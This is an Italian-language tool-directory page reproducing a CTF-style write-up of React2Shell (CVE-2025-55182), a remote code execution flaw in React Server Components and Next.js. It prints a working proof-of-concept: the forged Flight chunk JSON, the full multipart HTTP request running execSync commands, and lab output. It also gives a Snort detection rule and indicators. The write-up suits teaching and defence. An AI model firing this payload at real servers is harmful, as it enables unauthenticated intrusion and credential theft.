Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: deserializzazione non sicura non autenticata in React Server Components che porta a un'affidabile esecuzione remota di codice tramite il protocollo Flight. | Kitploit
Strumenti/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebSicurezza WebCTFPenetration TestingApprendimento e FormazioneSviluppo Payload

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: deserializzazione non sicura non autenticata in React Server Components che porta a un'affidabile esecuzione remota di codice tramite il protocollo Flight.

Vedi Repository
711 mese faNon ancora revisionato

🎯 React2Shell (CVE-2025-55182): Dai Componenti Server React fino alla RCE Completa

Difficoltà: Intermedio → Avanzato
Categoria: Web Exploitation | Deserializzazione | RCE

Cover


🧩 Task 1: Introduzione — Perché React2Shell è un Affare Serio

CVE-2025-55182, soprannominato React2Shell, è una di quelle vulnerabilità che mettono immediatamente in ansia i difensori 😬. Scoperto nel dicembre 2025, ha un punteggio CVSS di 10.0, il che già dice che non si tratta di un bug secondario.

Al suo cuore, questa vulnerabilità colpisce i React Server Components (RSC) e i framework basati su di essi, in particolare Next.js. La parte spaventosa?

👉 Esecuzione di codice remoto (RCE) non autenticata 👉 Singola richiesta HTTP creata ad arte 👉 Le configurazioni predefinite sono vulnerabili

Nessun login. Nessun permesso speciale. Solo una richiesta ben formata.

🔥 Pacchetti React colpiti

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ Versioni corrette

  • 19.0.1
  • 19.1.2
  • 19.2.1

Questa stanza ci guida attraverso perché questo bug esiste, come viene sfruttato e cosa possono fare i difensori a riguardo.

Flag: Nessuna risposta richiesta.


🧠 Task 2: React Server Components e il Flight Protocol

Prima dello sfruttamento, serve chiarezza architetturale.

Cosa sono i React Server Components?

I React Server Components (introdotti in React 19) permettono a parti di un'app React di essere eseguite sul server, non nel browser. Ciò significa:

  • I calcoli pesanti restano lato server ⚙️
  • Il client riceve solo l'output renderizzato 📦
  • Migliori prestazioni, bundle più piccoli

Entra in gioco: React Flight ✈️

La comunicazione tra client e server avviene tramite il React Flight protocol. Questo protocollo serializza i dati sul client e li deserializza sul server.

Utilizza marcatori speciali:

  • $@ → Riferimento a un chunk

  • $B → Riferimento a un blob

  • Percorsi di proprietà tramite notazione a due punti Esempio:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ Ed è proprio qui che la logica di serializzazione si incrina.

Domanda: Quale simbolo denota un riferimento a un blob? ✅ Risposta: $B


💣 Task 3: La Vulnerabilità Principale — Deserializzazione Non Sicura

Al cuore di CVE-2025-55182 c'è un classico difetto di deserializzazione non sicura.

Diamo un'occhiata al pattern vulnerabile (non tagliare 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... logica aggiuntiva ...  
 return moduleExports[metadata[2]];  // LINEA VULNERABILE  
}  

Perché è pericoloso?

In JavaScript, la notazione a parentesi:

root@kitploit:~
obj[someKey]

non limita l'accesso solo alle proprietà esportate. Percorre l'intera catena dei prototipi.

Ora arriva l'intuizione critica 👀:

  • Ogni funzione JavaScript ha un .constructor
  • constructor punta al costruttore Function
  • Function("codice") = esecuzione JS arbitraria

Arma dei riferimenti Flight

Poiché il protocollo Flight permette percorsi separati da due punti, un aggressore può inviare:

root@kitploit:~
$1:constructor:constructor

Che si risolve in:

  1. Ottieni il chunk del modulo
  2. Accedi a .constructor
  3. Accedi a .constructor di nuovo → Function

A questo punto, game over 🎮.

Flag: Nessuna risposta richiesta.


🧨 Task 4: Catena di Sfruttamento — Dal Bug alla RCE

Ora analizziamo il PoC di maple3142, passo dopo passo.

🧩 Fase 1: Oggetto Chunk Falso

L'aggressore invia una richiesta multipart contenente un oggetto Chunk falso:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

Questo oggetto imita la struttura interna di Chunk di React. Puntando then a Chunk.prototype.then, React viene ingannato nell'attendere una logica controllata dall'aggressore.


🧩 Fase 2: Abuso dell'Handler Blob

Il marcatore $B1337 attiva l'handler di deserializzazione dei Blob, che internamente esegue:

root@kitploit:~
response._formData.get(response._prefix + id)

Ma abbiamo avvelenato:

  • _formData.get → Function
  • _prefix → JS malevolo

Risultante esecuzione:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 Esecuzione JavaScript arbitraria raggiunta.


🧩 Fase 3: Esecuzione di Comandi OS

Il PoC esegue:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

Questo può essere banalmente sostituito con:

  • Reverse shell
  • Esfiltrazione di segreti
  • Lettura di file
  • Furto di credenziali cloud ☠️

Flag: Nessuna risposta richiesta.


📦 Task 5: Analisi Completa del PoC HTTP

Ecco la richiesta di sfruttamento completa (verbatim, non tagliata):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(…il corpo multipart continua…)

Cose da notare 👇

  • L'header Next-Action attiva le Server Actions
  • multipart/form-data è obbligatorio
  • $@0 crea un auto-riferimento
  • $B1337 attiva la logica dei Blob
  • constructor:constructor porta a Function

Non è casuale — è una catena progettata con precisione.


🌍 Ecosistema Colpito

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • Tutte le 15.x
    • Prime 16.x
  • Altri: React Router (RSC), Waku, Redwood SDK

📊 Ricerca Wiz: 39% degli ambienti cloud esposti 🌐 Shodan: 571k+ server React, 444k+ Next.js

È… un bel po' 😶


🧪 Task 6: Sfruttamento in Laboratorio

Prima in Repeater, crea una Nuova Richiesta HTTP e seleziona il Target.

1

Usando Burp Suite Repeater, inviamo il payload:

root@kitploit:~
execSync('id')

2

E successivamente:

root@kitploit:~
execSync('whoami')

3

✅ Risultati

  • Utente: ubuntu

  • Flag:

    root@kitploit:~
    {React-19.2.0}
    

Sfruttamento pulito, affidabile, ripetibile 💀


🛡️ Task 7: Rilevamento e Difesa

Buone notizie per i difensori 👮‍♂️ — lo sfruttamento lascia impronte.

🔎 Indicatori di Attacco

  • Header Next-Action
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

Questi non dovrebbero mai apparire nel traffico utente normale.


🚨 Regola Snort (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potenziale tentativo Next.js React2Shell / CVE-2025-66478";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — Trovare Pacchetti Vulnerabili

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

Perfetto per:

  • Pipeline CI/CD
  • Audit degli endpoint
  • Controlli pre-produzione

4


🧠 Considerazioni Finali

React2Shell è un esempio da manuale di:

  • Perché la deserializzazione non sicura è letale
  • Come le catene di prototipi possono tradirti
  • Perché le "configurazioni predefinite" sono pericolose

Una volta installate le versioni corrette e seguite le raccomandazioni di npm audit, lo sfruttamento muore completamente ✅.

⚠️ Non testare mai questo al di fuori di laboratori autorizzati.
🔥 Applica sempre le patch rapidamente.
🧠 Comprendi sempre perché un bug esiste — non solo come sfruttarlo.


⭐ Seguimi e Connettiti

Se ti è piaciuto questo write-up o vuoi rimanere in contatto con il mio lavoro in cybersecurity, CTF e VAPT:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

Buon hacking — responsabilmente 🗿🚀


Scarica lo strumento